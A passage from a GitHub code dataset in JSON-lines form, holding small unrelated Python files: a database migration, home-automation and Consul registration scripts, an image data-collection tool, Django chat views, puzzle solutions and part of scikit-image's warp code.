num.append(int(span.string))\nprint(num)\nprint(sum(num))\n","repo_name":"RitwickBiswas/Python-Practice","sub_path":"scrapping2.py","file_name":"scrapping2.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1766343494","text":"\"\"\"empty message\n\nRevision ID: 275382cd42e0\nRevises: 98f182a2541b\nCreate Date: 2023-08-05 18:58:22.761726\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '275382cd42e0'\ndown_revision = '98f182a2541b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('territory_demand', schema=None) as batch_op:\n batch_op.add_column(sa.Column('dem_ter', sa.Float(), nullable=False))\n batch_op.drop_column('demTer')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('territory_demand', schema=None) as batch_op:\n batch_op.add_column(sa.Column('demTer', sa.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=False))\n batch_op.drop_column('dem_ter')\n\n # ### end Alembic commands ###\n","repo_name":"michee1367/flask-skeleton","sub_path":"src/migrations/versions/275382cd42e0_.py","file_name":"275382cd42e0_.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10187401779","text":"#\n# This program actions an Item select (Off Dark, Relaxed and bright ) on two set of Tradfri lights (living room and Dinning 3 in each set) \n#These bulbs are located the same pysical room (open plan dining and living room)\n#\n#\n#\nimport appdaemon.plugins.hass.hassapi as hass\nclass LRselector(hass.Hass):\n def initialize(self):\n# Triggered if Item select is changed\n self.listen_state(self.lrselect,\"input_select.light_state\")\n \n def bri(self,kwargs):\n bri= kwargs[\"b\"]\n time = kwargs[\"time\"]\n self.call_service(\"light/turn_on\", entity_id = \"light.living_room_2\", brightness = bri, transition = time)\n def fade (self, kwargs):\n col = kwargs[\"col\"]\n time = kwargs[\"time\"]\n self.call_service(\"light/turn_on\", entity_id = \"light.living_room\", color_temp = col, transition = time)\n\n def lrselect (self, entity, attribute, old, new, kwargs):\n lr = self.get_state(\"switch.living_room\")\n \n \n\n if new == \"Dark\" :\n if lr == \"off\":\n self.turn_on(\"switch.living_room\")\n \n else :\n self.h1= self.run_in(self.bri,0,b=1,time=6)\n self.h2 = self.run_in(self.fade,7, col=454,time=2)\n self.log(\"dark colour triggered\")\n \n if new == \"Relaxed\" :\n if lr == \"off\":\n self.turn_on(\"switch.living_room\")\n \n else :\n self.h1 = self.run_in(self.bri,0,b=170,time=2)\n self.h2 = self.run_in(self.fade,3, col=400, time=2)\n self.log(\"relaxed colour triggered\")\n if new == \"Bright\" :\n if lr == \"off\":\n self.turn_on(\"switch.living_room\")\n \n else :\n self.h1= self.run_in(self.bri,0,b=254,time=2)\n self.h2 = self.run_in(self.fade,3, col=250,time=2)\n self.log(\"bright colour triggered\")\n \n if new == \"Off\" :\n \n self.turn_off(\"light.living_room\")\n self.turn_off(\"light.living_room_2\")\n \n \n self.log(\"Off triggered\")\n \n \n \n \n \n\n \n \n\n\n \n \n","repo_name":"lonebaggie/Home_Assistant-Config","sub_path":"appdaemon/apps/LRSelector.py","file_name":"LRSelector.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"25797859141","text":"# standard imports\nimport os\n\n\nclass Filter:\n\n def __init__(self, run_dir):\n self.run_dir = run_dir\n self.fp = os.path.join(run_dir, 'block')\n\n\n def filter(self, conn, block):\n f = open(self.fp, 'w')\n f.write(str(block.number))\n f.close()\n return False\n","repo_name":"chaintool-py/eth-monitor","sub_path":"eth_monitor/filters/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32202130513","text":"import signal\nimport os\nimport time\nimport requests\nimport json\nimport socket\n\n\ndef __wait_for_application(service_port):\n status_code = None\n while(status_code != 200):\n status_code = requests.get(f'http://localhost:{service_port}/v1/healthcheck').status_code\n time.sleep(5)\n\n\ndef __consul_register_service(service_id, service_port):\n local_machine_ip = socket.gethostbyname(socket.gethostname())\n status_code = None\n while(status_code != 200):\n r = requests.put('http://localhost:8500/v1/agent/service/register',\n data=json.dumps({\n 'Name': 'logger-service',\n 'ID': service_id,\n 'Address': local_machine_ip,\n 'Port': service_port,\n 'Tags': ['logger-service'],\n 'Check': {\n 'DeregisterCriticalServiceAfter': '1m',\n 'HTTP': f'http://{local_machine_ip}:{service_port}/v1/healthcheck',\n 'Interval': '10s'\n }\n }))\n status_code = r.status_code\n time.sleep(5)\n\n\ndef __consul_register():\n SERVICE_ID = os.environ.get(\"SERVICE_ID\", None)\n SERVICE_PORT = int(os.environ.get('SERVICE_PORT', None))\n\n __wait_for_application(SERVICE_PORT)\n __consul_register_service(SERVICE_ID, SERVICE_PORT)\n\n\ndef __consul_deregister(signum, stack):\n SERVICE_ID = os.environ.get(\"SERVICE_ID\", None)\n\n status_code = None\n while(status_code != 200):\n r = requests.put(f'http://localhost:8500/v1/agent/service/deregister/{SERVICE_ID}')\n status_code = r.status_code\n time.sleep(5)\n\n\n__consul_register()\n\nsignal.signal(signal.SIGTERM, __consul_deregister)\nsignal.signal(signal.SIGINT, __consul_deregister)\nsignal.pause()\n","repo_name":"rafavinnce/python-restful-base","sub_path":"consul_script.py","file_name":"consul_script.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33633891007","text":"\"\"\"\nThis script is deprecated and should be use with care!\n\"\"\"\n\nimport os\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport sys\nimport argparse\nimport imgaug as ia\nimport imgaug.augmenters as iaa\nimport datetime\nfrom data_collect import BBox, create_xml_file\nfrom vebits_api import detector_util, bbox_util\n\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\n\nLABELS = {\n 1: 'face',\n 2: 'hand',\n 3: 'phone'\n}\n# Font for text\nFONT = cv2.FONT_HERSHEY_SIMPLEX\n\n\ndef create_sequence():\n aug = iaa.Sequential([\n iaa.CropAndPad(\n percent=(-0.15, 0.15),\n pad_mode=ia.ALL,\n pad_cval=(0, 128)\n ),\n iaa.Affine(\n scale={\"x\": (0.85, 1.15), \"y\": (0.85, 1.15)},\n mode=ia.ALL,\n cval=(0, 255)\n ),\n iaa.Affine(\n translate_percent={\"x\": (-0.1, 0.1), \"y\": (-0.1, 0.1)},\n mode=ia.ALL,\n cval=(0, 255)\n ),\n iaa.Affine(\n rotate=(-15, 15),\n mode=ia.ALL,\n cval=(0, 255)\n ),\n iaa.Affine(\n shear=(-10, 10),\n mode=ia.ALL,\n cval=(0, 255)\n ),\n iaa.Fliplr(0.6),\n ])\n\n return aug\n\n\ndef detect_and_save_imgs(tensors,\n src_dir,\n correct_dir,\n incorrect_dir,\n img,\n img_name,\n img_size,\n num_transform,\n cls,\n count,\n score_thresh):\n\n stop = False\n sequence = create_sequence()\n\n img_height, img_width = img_size\n\n imgs = np.array([img for _ in range(num_transform)], dtype=np.uint8)\n imgs = sequence(images=imgs)\n imgs = np.vstack([imgs, np.expand_dims(img, axis=0)])\n\n (boxes, scores, classes) = detector_util.detect_objects(imgs, tensors)\n\n for i in range(num_transform + 1):\n\n count += 1\n img = imgs[i]\n display = img.copy()\n\n _, boxes_filtered = bbox_util.filter_boxes(\n boxes=boxes[i],\n scores=scores[i],\n classes=classes[i],\n cls=cls,\n confidence_threshold=score_thresh,\n img_size=(img_height, img_width)\n )\n\n bboxes = []\n # Get each box of the same image.\n for j in range(boxes_filtered.shape[0]):\n bboxes.append(bbox_util.BBox(\n LABELS[classes[i, j]],\n boxes_filtered[j]\n )\n )\n\n cv2.rectangle(\n display,\n (box_filtered[0], box_filtered[1]),\n (box_filtered[2], box_filtered[3]),\n (0, 255, 0),\n 3,\n 1\n )\n\n cv2.putText(display, str(count), (20, 40), FONT, 1, (0, 255, 0), 2, cv2.LINE_AA)\n cv2.imshow('Data Collector', display)\n\n key = cv2.waitKey(0)\n\n name, ext = os.path.splitext(img_name)\n img_new_name = name + \"_{}\".format(i) + ext\n\n if key == ord(\"d\"):\n create_xml_file(\n correct_dir,\n img_new_name,\n os.path.join(correct_dir, img_new_name),\n img_width,\n img_height,\n bboxes\n )\n\n cv2.imwrite(os.path.join(correct_dir, img_new_name), img)\n print(\"Correct image saved: \", img_new_name)\n\n elif key == ord(\"w\"):\n cv2.imwrite(os.path.join(incorrect_dir, img_new_name), img)\n print(\"Incorrect image saved: \", img_new_name)\n\n elif key == ord(\"q\"):\n stop = True\n break\n\n return count, stop\n\n\ndef main(args):\n\n count = 0\n stop = False\n num_transform = args.num_transform\n\n cls = args.class_to_be_detected\n score_thresh = args.score_thresh\n width = args.width\n height = args.height\n\n src_dir = args.src_dir\n correct_dir = args.correct_dir\n incorrect_dir = args.incorrect_dir\n labelmap_path = args.labelmap_path\n inference_graph_path = args.inference_graph_path\n\n sequence = create_sequence()\n tensors = detector_util.load_inference_graph(inference_graph_path)\n\n # Fix the size of the displaying window to be 600x600.\n cv2.namedWindow('Data Collector', cv2.WINDOW_NORMAL)\n cv2.resizeWindow(\"Data Collector\", 600, 600)\n\n stop = False\n\n if not args.load_video:\n img_list = os.listdir(src_dir)\n\n for img_name in img_list:\n if not img_name.endswith(\"jpg\"):\n continue\n if stop:\n break\n\n img = cv2.imread(os.path.join(src_dir, img_name))\n img_size = img.shape[:2]\n\n count, stop = detect_and_save_imgs(tensors=tensors,\n src_dir=src_dir,\n correct_dir=correct_dir,\n incorrect_dir=incorrect_dir,\n img=img,\n img_name=img_name,\n img_size=img_size,\n num_transform=num_transform,\n cls=cls,\n count=count,\n score_thresh=score_thresh\n )\n else:\n video = cv2.VideoCapture(src_dir)\n num_frame_passed = 0\n num_frame = args.num_frame\n\n while(video.isOpened()):\n if stop:\n break\n # Skip frames.\n num_frame_passed += 1\n if num_frame_passed % num_frame != 0:\n continue\n\n ret, frame = video.read()\n img_name = datetime.datetime.now().strftime('%Y%m%d%H%M%S%f') + \".jpg\"\n img_size = frame.shape[:2]\n\n count, stop = detect_and_save_imgs(tensors=tensors,\n src_dir=src_dir,\n correct_dir=correct_dir,\n incorrect_dir=incorrect_dir,\n img=frame,\n img_name=img_name,\n img_size=img_size,\n num_transform=num_transform,\n cls=cls,\n count=count,\n score_thresh=score_thresh\n )\n\n cv2.destroyAllWindows()\n\n\ndef parse_arguments(argv):\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('src_dir', type=str,\n help='Directory to the images that need to be labelled.')\n parser.add_argument('correct_dir', type=str,\n help='Directory to which all correctly detected images will be saved.')\n parser.add_argument('incorrect_dir', type=str,\n help='Directory to which all incorrectly detected images will be saved.')\n\n parser.add_argument('--load_video', action=\"store_true\",\n help='Whether the input source is a video. \\\n Default=false, meaning working with sequence of images.')\n parser.add_argument('--class_to_be_detected', type=int, default=3,\n help='The numerical value of class to be predicted. Default=3 (i.e., \\'phone\\')')\n parser.add_argument('--num_transform', type=int, default=2,\n help='Number of transform for each image by data augmentation. Default=2')\n parser.add_argument('--num_frame', type=int, default=30,\n help='Number of frame to skip per image. Default=30')\n parser.add_argument('--inference_graph_path', default=\"base_model/frozen_inference_graph.pb\",\n type=str, help='Inference graph directory. Default=\\'\"base_model/frozen_inference_graph.pb\"\\'')\n parser.add_argument('--labelmap_path', default=\"base_model/labelmap.pbtxt\",\n type=str, help='Labelmap directory. Default=\\'base_model/labelmap.pbtxt\\'')\n parser.add_argument('--score_thresh', type=float, default=0.2,\n help='Score threshold for displaying bounding boxes. Default=0.2')\n parser.add_argument('--width', type=int, default=900,\n help='Width of the imgs in the video stream.')\n parser.add_argument('--height', type=int, default=900,\n help='Height of the imgs in the video stream.')\n\n return parser.parse_args(argv)\n\nif __name__ == '__main__':\n main(parse_arguments(sys.argv[1:]))\n","repo_name":"hnt4499/vebits_api","sub_path":"scripts/data_collector_for_images.py","file_name":"data_collector_for_images.py","file_ext":"py","file_size_in_byte":9081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1749030564","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport webapp2\nimport index\nimport sqli\nimport xss\n\n\nconfig = {}\nconfig[\"webapp2_extras.sessions\"] = {\n \"secret_key\":\"WhoHaveTheBestOS?\",\n \"cookie_name\":\"WEBAPP2SESSIONID\",\n \"session_max_age\":360,\n}\n\n\napplications = webapp2.WSGIApplication(\n index.ALL+sqli.ALL+xss.ALL\n , debug=True,config=config)\n\ndef main():\n from paste import httpserver\n httpserver.serve(applications, host='0.0.0.0', port='80')\n\nif __name__ == '__main__':\n main()\n","repo_name":"syakesaba/webhack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"4002860608","text":"\n\nfrom tt_web import postgresql as db\n\nfrom . import objects\nfrom . import relations\n\n\ndef property_from_row(row):\n return objects.Property(object_id=row['object_id'],\n type=row['property_type'],\n value=row['value'],\n mode=relations.MODE.UNKNOWN)\n\n\nasync def set_properties(properties):\n\n for property in properties:\n if property.mode == relations.MODE.REPLACE:\n await set_property(property)\n elif property.mode == relations.MODE.APPEND:\n await append_property(property)\n else:\n raise NotImplementedError('unknowm property mode')\n\n\nasync def set_property(property):\n await db.sql('DELETE FROM properties WHERE object_id=%(object_id)s AND property_type=%(type)s',\n {'object_id': property.object_id,\n 'type': property.type})\n\n await db.sql('''INSERT INTO properties (object_id, property_type, value, created_at)\n VALUES (%(object_id)s, %(type)s, %(value)s, NOW())''',\n {'object_id': property.object_id,\n 'type': property.type,\n 'value': property.value})\n\n\nasync def append_property(property):\n await db.sql('''INSERT INTO properties (object_id, property_type, value, created_at)\n VALUES (%(object_id)s, %(type)s, %(value)s, NOW())''',\n {'object_id': property.object_id,\n 'type': property.type,\n 'value': property.value})\n\n\nasync def get_properties(objects):\n properties = []\n\n for object_id, types in objects.items():\n properties.extend(await get_object_properties(object_id, types))\n\n return properties\n\n\nasync def get_object_properties(object_id, types):\n if not types:\n return {object_id: []}\n\n result = await db.sql('''SELECT object_id, property_type, value FROM properties\n WHERE object_id=%(object_id)s AND property_type IN %(types)s\n ORDER BY created_at''', # guaranty created order, if multiple properties extracted\n {'object_id': object_id,\n 'types': tuple(types)})\n\n return [property_from_row(row) for row in result]\n\n\nasync def get_data_report(object_id):\n data = []\n\n result = await db.sql('''SELECT object_id, property_type, value FROM properties\n WHERE object_id=%(object_id)s\n ORDER BY created_at''', # guaranty created order, if multiple properties extracted\n {'object_id': object_id})\n\n for row in result:\n property = property_from_row(row)\n data.append(('property', {'type': property.type,\n 'value': property.value}))\n\n return data\n\n\nasync def clean_object_properties(object_id):\n await db.sql('DELETE FROM properties WHERE object_id=%(object_id)s',\n {'object_id': object_id})\n\n\nasync def clean_database():\n await db.sql('TRUNCATE properties')\n","repo_name":"the-tale/the-tale","sub_path":"src/tt_properties/tt_properties/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":277,"dataset":"github-code","pt":"29"} +{"seq_id":"23116765807","text":"def is_prime(n):\n if n==1:\n return False\n for i in range(2,n):\n if n%i==0:\n return False\n return True\na=int(input())\nb=list(map(int,input().split()))\ne=0\nfor i in b:\n if is_prime(i):\n e+=1\nprint(e)\n ","repo_name":"20A91A04L4/codemind-python","sub_path":"Primes_in_the_array.py","file_name":"Primes_in_the_array.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18230544820","text":"filecontent = open(\"input.txt\", \"r\")\n\nxValues = []\nyValues = []\n\nrockPaths = []\nfor line in filecontent:\n rockStructurePathNodes = line.replace(\"\\n\", \"\").split(\" -> \")\n\n for node in rockStructurePathNodes:\n x, y = node.split(\",\")\n xValues.append(int(x))\n yValues.append(int(y))\n\n for i in range(1, len(rockStructurePathNodes) - 1):\n rockPaths.append([rockStructurePathNodes[i-1], rockStructurePathNodes[i]])\n\n\"\"\"\nprint(\"X:\")\nprint(\"xValues.len: \", len(xValues))\nprint(min(xValues))\nprint(max(xValues))\n\nprint(\"Y:\")\nprint(\"yValues.len: \", len(yValues))\nprint(min(yValues))\nprint(max(yValues))\n\"\"\" \n\ncaveMatrix = []\n\nfor i in range(0, max(yValues)):\n caveLevel = []\n for j in range(min(xValues), max(xValues)):\n caveLevel.append(\".\")\n caveMatrix.append(caveLevel)\n\nxOffset = min(xValues)\n\nprint(\"cave height: \", len(caveMatrix))\nprint(\"cave width: \", len(caveMatrix[0]))\n# Place down rocks\nfor path in rockPaths:\n startPos = path[0]\n stopPos = path[1]\n\n start = startPos.split(\",\")\n x1 = int(start[0])\n y1 = int(start[1])\n \n stop = stopPos.split(\",\")\n x2 = int(stop[0])\n y2 = int(stop[1])\n\n if x1 == x2:\n for yPos in range(y1 - 1, y2 - 1):\n caveMatrix[yPos][x1 - xOffset] = \"#\"\n else:\n for xPos in range(x1 - xOffset, x2 - xOffset):\n caveMatrix[y1 - 1][xPos] = \"#\"\n\n\nfor line in caveMatrix:\n for spot in line:\n print(spot, end=\"\")\n print()\n\nclass Sand:\n def __init__(self):\n self.isResting = false\n self.x = 500\n self.y = 0\n self.isResting = False\n\n def fall(self, caveMap, xOffset):\n print(\"falling\")\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ErikSkinnari/aoc22","sub_path":"14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32609980336","text":"import requests\nimport os\n\nURL_BASE_TMDB = 'https://api.themoviedb.org/3/genre/movie/list'\n\ntmdb_key = os.environ['tmdb_key']\n\ndef formatfecha(fecha):\n\treturn '{}/{}/{}'.format(fecha.split('-')[2], fecha.split('-')[1], fecha.split('-')[0])\n\ndef getaño(fecha):\n\tcad = ''\n\tif fecha == None:\n\t\tcad = '0'\n\telse:\n\t\tcad = fecha.split('-')[0]\n\treturn cad\n\ndef generos(lista):\n\tl = []\n\tfor i in lista:\n\t\tl.append(i['name'])\n\treturn ', '.join(l)\n\ndef temporadas(lista):\n\tl = []\n\tfor i in lista:\n\t\tl.append('{} ({}), {} episodios'.format(i['name'], getaño(i['air_date']), i['episode_count']))\n\treturn l\n\ndef quitaespacios(cadena):\n\tcad = cadena.replace(' ', '+')\n\treturn cad\n\ndef tratarsinopsis(cadena):\n\tcad = ''\n\tif cadena == '':\n\t\tcad = 'No hay una sinopsis disponible.'\n\telse:\n\t\tcad = cadena\n\treturn cad\n\ndef estado(cadena):\n\tcad = ''\n\tif cadena == 'Returning Series':\n\t\tcad = 'En activo'\n\telif cadena == 'Planned':\n\t\tcad = 'Planeada'\n\telif cadena == 'In Production':\n\t\tcad = 'En producción'\n\telif cadena == 'Ended':\n\t\tcad = 'Finalizada'\n\telif cadena == 'Pilot':\n\t\tcad = 'Piloto'\n\treturn cad","repo_name":"alvarobrod/proyectolm","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22229956195","text":"import csv\nimport json\n\n# Open the CSV\nf = open( './reddit-data-final.csv', 'rU' )\n# Change each fieldname to the appropriate field name. I know, so difficult.\nreader = csv.DictReader( f, fieldnames = ( \"Post ID\",\"Title\",\"Url\",\"Author\",\"Score\",\"Publish Date\",\"Total No. of Comments\",\"Permalink\",\"Flair\", \"Text\", \"Stickied\", \"Over 18\", \"Is Video\"))\n# Parse the CSV into JSON\nout = json.dumps( [ row for row in reader ] )\nprint(\"JSON parsed!\")\n# Save the JSON\nf = open( './reddit-data-final.json', 'w')\nf.write(out)\nprint(\"JSON saved!\")\n","repo_name":"mayli10/mental-health-research","sub_path":"csv-to-json.py","file_name":"csv-to-json.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"26684316362","text":"from Exceptions import InvalidFileFormatException\nfrom typing import List\nfrom .model import QuoteModel\nfrom .IngestorInterface import IngestorInterface\n\n\nclass TextIngestor(IngestorInterface):\n \"\"\"Class to represent text ingestor.\"\"\"\n\n extensions = ['txt']\n\n @classmethod\n def parse(cls, path) -> List[QuoteModel]:\n \"\"\"Parse quotes from txt file.\"\"\"\n if not cls.can_ingest(path):\n raise InvalidFileFormatException(\"Invalid file format\")\n\n with open(path, \"r\") as f:\n lines = f.readlines()\n\n quotes = cls.parse_lines(lines)\n return quotes\n\n @classmethod\n def parse_lines(cls, lines: List[str]) -> List[QuoteModel]:\n \"\"\"Parse quotes from list of lines.\"\"\"\n quotes = []\n for line in lines:\n if \" - \" in line:\n quote = QuoteModel(*line.strip().split(\" - \"))\n quotes.append(quote)\n return quotes\n","repo_name":"bambuvnn/udacity-python2","sub_path":"QuoteEngine/TextIngestor.py","file_name":"TextIngestor.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7392214710","text":"from . import db\r\nfrom .Spam import Spam\r\nfrom shared.Constants import globaldb_is_user\r\n\r\nclass GlobalDB(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n name = db.Column(db.String(250), nullable=True)\r\n email = db.Column(db.String(250), nullable=True)\r\n phone_number = db.Column(db.String(15), nullable=False)\r\n spam_likelihood = db.Column(db.Integer, nullable = False)\r\n isUser = db.Column(db.Integer, nullable = False)\r\n sycnedFrom = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=True)\r\n\r\n def __init__(self, name, email, phone_number, spam_likelihood = 0, isUser = globaldb_is_user['synced'], syncedFrom = None):\r\n self.name = name\r\n self.email = email\r\n self.phone_number = phone_number\r\n self.spam_likelihood = spam_likelihood\r\n self.isUser = isUser\r\n self.sycnedFrom = syncedFrom\r\n\r\n @property\r\n def serialize(self):\r\n \"\"\"Return object data in easily serializeable format\"\"\"\r\n return {\r\n 'id': self.id,\r\n 'name': self.name,\r\n 'email': self.email,\r\n 'phone_number': self.phone_number,\r\n 'spam_likelihood': self.spam_likelihood\r\n }","repo_name":"OrignalLazyCoder/true-caller-clone","sub_path":"src/models/GlobalDB.py","file_name":"GlobalDB.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38542049035","text":"from django.shortcuts import render\nfrom django.utils.safestring import mark_safe\nimport json\n\ndef index(request):\n return render(request, 'chat/index.html', {})\n\ndef Split(room_name):\n roomName = ''\n userName = ''\n\n idx = 0\n while room_name[idx] != '_':\n roomName += room_name[idx]\n idx += 1\n for i in range(idx+1, len(room_name)):\n userName+= room_name[i]\n \n return roomName,userName\n\ndef room(request, room_name):\n #room = lobby_Jinwoo\n #room[0] = lobby , room[1] = Jinwoo\n #user_name = room_name\n room_name, user_name = Split(room_name)\n #user_name = room_name\n return render(request,'chat/room.html',{\n 'user_name_json': mark_safe(json.dumps(user_name)),\n 'room_name_json': mark_safe(json.dumps(room_name))\n })","repo_name":"SKrns/WQVC-CHAT","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"12774173028","text":"import math\nimport numpy as np\nimport sys\nfrom scipy import ndimage as ndi\n\n_integer_types = (np.byte, np.ubyte, # 8 bits\n np.short, np.ushort, # 16 bits\n np.intc, np.uintc, # 16 or 32 or 64 bits\n np.int_, np.uint, # 32 or 64 bits\n np.longlong, np.ulonglong) # 64 bits\n_integer_ranges = {t: (np.iinfo(t).min, np.iinfo(t).max)\n for t in _integer_types}\ndtype_range = {np.bool_: (False, True),\n np.bool8: (False, True),\n np.float16: (-1, 1),\n np.float32: (-1, 1),\n np.float64: (-1, 1)}\ndtype_range.update(_integer_ranges)\n\n_supported_types = list(dtype_range.keys())\n\ndef _stackcopy(a, b):\n \"\"\"Copy b into each color layer of a, such that::\n\n a[:,:,0] = a[:,:,1] = ... = b\n\n Parameters\n ----------\n a : (M, N) or (M, N, P) ndarray\n Target array.\n b : (M, N)\n Source array.\n\n Notes\n -----\n Color images are stored as an ``(M, N, 3)`` or ``(M, N, 4)`` arrays.\n\n \"\"\"\n if a.ndim == 3:\n a[:] = b[:, :, np.newaxis]\n else:\n a[:] = b\n\n\ndef warp_coords(coord_map, shape, dtype=np.float64, chosen_math_library=None):\n \"\"\"Build the source coordinates for the output of a 2-D image warp.\n\n Parameters\n ----------\n coord_map : callable like GeometricTransform.inverse\n Return input coordinates for given output coordinates.\n Coordinates are in the shape (P, 2), where P is the number\n of coordinates and each element is a ``(row, col)`` pair.\n shape : tuple\n Shape of output image ``(rows, cols[, bands])``.\n dtype : np.dtype or string\n dtype for return value (sane choices: float32 or float64).\n\n Returns\n -------\n coords : (ndim, rows, cols[, bands]) array of dtype `dtype`\n Coordinates for `scipy.ndimage.map_coordinates`, that will yield\n an image of shape (orows, ocols, bands) by drawing from source\n points according to the `coord_transform_fn`.\n\n Notes\n -----\n\n This is a lower-level routine that produces the source coordinates for 2-D\n images used by `warp()`.\n\n It is provided separately from `warp` to give additional flexibility to\n users who would like, for example, to re-use a particular coordinate\n mapping, to use specific dtypes at various points along the the\n image-warping process, or to implement different post-processing logic\n than `warp` performs after the call to `ndi.map_coordinates`.\n\n\n Examples\n --------\n Produce a coordinate map that shifts an image up and to the right:\n\n >>> from skimage import data\n >>> from scipy.ndimage import map_coordinates\n >>>\n >>> def shift_up10_left20(xy):\n ... return xy - np.array([-20, 10])[None, :]\n >>>\n >>> image = data.astronaut().astype(np.float32)\n >>> coords = warp_coords(shift_up10_left20, image.shape)\n >>> warped_image = map_coordinates(image, coords)\n\n \"\"\"\n shape = safe_as_int(shape)\n rows, cols = shape[0], shape[1]\n coords_shape = [len(shape), rows, cols]\n if len(shape) == 3:\n coords_shape.append(shape[2])\n coords = chosen_math_library.empty(coords_shape, dtype=dtype)\n\n # Reshape grid coordinates into a (P, 2) array of (row, col) pairs\n tf_coords = chosen_math_library.indices((cols, rows), dtype=dtype).reshape(2, -1).T\n\n # Map each (row, col) pair to the source image according to\n # the user-provided mapping\n tf_coords = coord_map(tf_coords)\n\n # Reshape back to a (2, M, N) coordinate grid\n tf_coords = tf_coords.T.reshape((-1, cols, rows)).swapaxes(1, 2)\n\n # Place the y-coordinate mapping\n _stackcopy(coords[1, ...], tf_coords[0, ...])\n\n # Place the x-coordinate mapping\n _stackcopy(coords[0, ...], tf_coords[1, ...])\n\n if len(shape) == 3:\n coords[2, ...] = range(shape[2])\n\n return coords\n\n\ndef _warp_fast(*args, **kwargs): # real signature unknown\n \"\"\"\n Projective transformation (homography).\n\n Perform a projective transformation (homography) of a floating\n point image (single or double precision), using interpolation.\n\n For each pixel, given its homogeneous coordinate :math:`\\mathbf{x}\n = [x, y, 1]^T`, its target position is calculated by multiplying\n with the given matrix, :math:`H`, to give :math:`H \\mathbf{x}`.\n E.g., to rotate by theta degrees clockwise, the matrix should be::\n\n [[cos(theta) -sin(theta) 0]\n [sin(theta) cos(theta) 0]\n [0 0 1]]\n\n or, to translate x by 10 and y by 20::\n\n [[1 0 10]\n [0 1 20]\n [0 0 1 ]].\n\n Parameters\n ----------\n image : 2-D array\n Input image.\n H : array of shape ``(3, 3)``\n Transformation matrix H that defines the homography.\n output_shape : tuple (rows, cols), optional\n Shape of the output image generated (default None).\n order : {0, 1, 2, 3}, optional\n Order of interpolation::\n * 0: Nearest-neighbor\n * 1: Bi-linear (default)\n * 2: Bi-quadratic\n * 3: Bi-cubic\n mode : {'constant', 'edge', 'symmetric', 'reflect', 'wrap'}, optional\n Points outside the boundaries of the input are filled according\n to the given mode. Modes match the behaviour of `numpy.pad`.\n cval : string, optional (default 0)\n Used in conjunction with mode 'C' (constant), the value\n outside the image boundaries.\n\n Notes\n -----\n Modes 'reflect' and 'symmetric' are similar, but differ in whether the edge\n pixels are duplicated during the reflection. As an example, if an array\n has values [0, 1, 2] and was padded to the right by four values using\n symmetric, the result would be [0, 1, 2, 2, 1, 0, 0], while for reflect it\n would be [0, 1, 2, 1, 0, 1, 2].\n \"\"\"\n pass\n\n\ndef _clip_warp_output(input_image, output_image, order, mode, cval, clip, chosen_math_library):\n \"\"\"Clip output image to range of values of input image.\n\n Note that this function modifies the values of `output_image` in-place\n and it is only modified if ``clip=True``.\n\n Parameters\n ----------\n input_image : ndarray\n Input image.\n output_image : ndarray\n Output image, which is modified in-place.\n\n Other parameters\n ----------------\n order : int, optional\n The order of the spline interpolation, default is 1. The order has to\n be in the range 0-5. See `skimage.transform.warp` for detail.\n mode : {'constant', 'edge', 'symmetric', 'reflect', 'wrap'}, optional\n Points outside the boundaries of the input are filled according\n to the given mode. Modes match the behaviour of `numpy.pad`.\n cval : float, optional\n Used in conjunction with mode 'constant', the value outside\n the image boundaries.\n clip : bool, optional\n Whether to clip the output to the range of values of the input 